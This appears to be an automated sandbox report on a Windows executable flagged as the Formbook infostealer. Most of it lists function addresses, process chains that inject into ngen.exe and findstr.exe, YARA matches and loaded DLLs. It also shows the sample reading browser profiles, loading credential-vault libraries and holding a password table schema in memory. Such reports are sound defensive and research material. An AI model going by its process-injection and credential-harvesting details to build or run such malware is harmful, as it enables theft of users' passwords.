Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594FCF2	4_2_0594FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05880CF2	4_2_05880CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890C00	4_2_05890C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05909C32	4_2_05909C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05891F92	4_2_05891F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594FFB1	4_2_0594FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05882FC8	4_2_05882FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589CFE0	4_2_0589CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594FF09	4_2_0594FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058D2F28	4_2_058D2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B0F30	4_2_058B0F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05904F40	4_2_05904F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594CE93	4_2_0594CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A2E90	4_2_058A2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05899EB0	4_2_05899EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594EEDB	4_2_0594EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594EE26	4_2_0594EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05890E59	4_2_05890E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058929A0	4_2_058929A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0595A9A6	4_2_0595A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05899950	4_2_05899950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AB950	4_2_058AB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A6962	4_2_058A6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058768B8	4_2_058768B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058938E0	4_2_058938E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE8F0	4_2_058BE8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FD800	4_2_058FD800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05892840	4_2_05892840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589A840	4_2_0589A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AFB80	4_2_058AFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05946BD7	4_2_05946BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058CDBF9	4_2_058CDBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594AB40	4_2_0594AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594FB76	4_2_0594FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588EA80	4_2_0588EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058D5AA0	4_2_058D5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592DAAC	4_2_0592DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593DAC6	4_2_0593DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05947A46	4_2_05947A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594FA49	4_2_0594FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05903A6C	4_2_05903A6C
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374A352	7_2_0374A352
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0367D34C	7_2_0367D34C
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374132D	7_2_0374132D
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_037503E6	7_2_037503E6
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0369E3F0	7_2_0369E3F0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036D739A	7_2_036D739A
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03730274	7_2_03730274
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_037312ED	7_2_037312ED
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036AB2C0	7_2_036AB2C0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036952A0	7_2_036952A0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036C516C	7_2_036C516C
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0367F172	7_2_0367F172
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0375B16B	7_2_0375B16B
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03680100	7_2_03680100
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0372A118	7_2_0372A118
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_037481CC	7_2_037481CC
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0369B1B0	7_2_0369B1B0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_037501AA	7_2_037501AA
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374F0E0	7_2_0374F0E0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_037470E9	7_2_037470E9
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036970C0	7_2_036970C0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0373F0CC	7_2_0373F0CC
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03690770	7_2_03690770
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036B4750	7_2_036B4750
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0368C7C0	7_2_0368C7C0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374F7B0	7_2_0374F7B0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036AC6E0	7_2_036AC6E0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_037416CC	7_2_037416CC
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03747571	7_2_03747571
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03690535	7_2_03690535
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0372D5B0	7_2_0372D5B0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03750591	7_2_03750591
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03681460	7_2_03681460
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03742446	7_2_03742446
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374F43F	7_2_0374F43F
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0373E4F6	7_2_0373E4F6
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374FB76	7_2_0374FB76
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374AB40	7_2_0374AB40
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036CDBF9	7_2_036CDBF9
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03746BD7	7_2_03746BD7
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036AFB80	7_2_036AFB80
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03703A6C	7_2_03703A6C
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03747A46	7_2_03747A46
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374FA49	7_2_0374FA49
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0373DAC6	7_2_0373DAC6
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036D5AA0	7_2_036D5AA0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0372DAAC	7_2_0372DAAC
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0368EA80	7_2_0368EA80
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036A6962	7_2_036A6962
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03699950	7_2_03699950
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036AB950	7_2_036AB950
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036929A0	7_2_036929A0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0375A9A6	7_2_0375A9A6
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03692840	7_2_03692840
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0369A840	7_2_0369A840
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036938E0	7_2_036938E0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036BE8F0	7_2_036BE8F0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036768B8	7_2_036768B8
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03704F40	7_2_03704F40
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036B0F30	7_2_036B0F30
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374FF09	7_2_0374FF09
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0369CFE0	7_2_0369CFE0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03682FC8	7_2_03682FC8
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374FFB1	7_2_0374FFB1
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03691F92	7_2_03691F92
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03690E59	7_2_03690E59
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374EE26	7_2_0374EE26
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374EEDB	7_2_0374EEDB
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03699EB0	7_2_03699EB0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374CE93	7_2_0374CE93
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036A2E90	7_2_036A2E90
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03747D73	7_2_03747D73
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03693D40	7_2_03693D40
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03741D5A	7_2_03741D5A
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0369AD00	7_2_0369AD00
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0368ADE0	7_2_0368ADE0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036AFDC0	7_2_036AFDC0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036A8DBF	7_2_036A8DBF
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03709C32	7_2_03709C32
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03690C00	7_2_03690C00
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0374FCF2	7_2_0374FCF2
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03680CF2	7_2_03680CF2
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03730CB5	7_2_03730CB5
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E51A60	7_2_02E51A60
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E413A1	7_2_02E413A1
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E6A4C0	7_2_02E6A4C0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E53580	7_2_02E53580
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E4CEC0	7_2_02E4CEC0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E4AF40	7_2_02E4AF40
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E4CCA0	7_2_02E4CCA0
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E4CC97	7_2_02E4CC97
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0349A39A	7_2_0349A39A
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0349C06C	7_2_0349C06C
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0349B0D8	7_2_0349B0D8
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0349BBB4	7_2_0349BBB4
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_0349BCD3	7_2_0349BCD3

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: String function: 00007FF65855D7A0 appears 64 times
Source: C:\Windows\SysWOW64\findstr.exe	Code function: String function: 036C5130 appears 36 times
Source: C:\Windows\SysWOW64\findstr.exe	Code function: String function: 0367B970 appears 266 times
Source: C:\Windows\SysWOW64\findstr.exe	Code function: String function: 036FEA12 appears 84 times
Source: C:\Windows\SysWOW64\findstr.exe	Code function: String function: 0370F290 appears 105 times
Source: C:\Windows\SysWOW64\findstr.exe	Code function: String function: 036D7E54 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: String function: 0587B970 appears 268 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: String function: 058D7E54 appears 89 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: String function: 058C5130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: String function: 0590F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: String function: 058FEA12 appears 85 times

Source: GJRX21GBj3.exe	Binary or memory string: OriginalFilename vs GJRX21GBj3.exe
Source: GJRX21GBj3.exe, 00000000.00000000.2067604251.00007FF658727000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNegativePercentFormatWriteArray.dll` vs GJRX21GBj3.exe
Source: GJRX21GBj3.exe, 00000000.00000002.2078597874.0000029B99C00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNegativePercentFormatWriteArray.dll` vs GJRX21GBj3.exe
Source: GJRX21GBj3.exe	Binary or memory string: OriginalFilenameNegativePercentFormatWriteArray.dll` vs GJRX21GBj3.exe

Source: 4.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: GJRX21GBj3.exe

Static PE information: Section: .rsrc ZLIB complexity 0.9966439773787313

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/1@12/8

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Code function: 0_2_00007FF658562B30 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,

0_2_00007FF658562B30

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6848:120:WilError_03

Source: C:\Windows\SysWOW64\findstr.exe

File created: C:\Users\user\AppData\Local\Temp\H0840I45

Source: GJRX21GBj3.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: findstr.exe, 00000007.00000002.3924355546.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3924355546.00000000032C5000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2520892415.000000000329A000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3924355546.000000000329A000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2520776219.0000000003279000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: GJRX21GBj3.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

File read: C:\Users\user\Desktop\GJRX21GBj3.exe

Source: unknown	Process created: C:\Users\user\Desktop\GJRX21GBj3.exe "C:\Users\user\Desktop\GJRX21GBj3.exe"
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"
Source: C:\Windows\SysWOW64\findstr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Section loaded: rasadhlp.dll	Jump to behavior
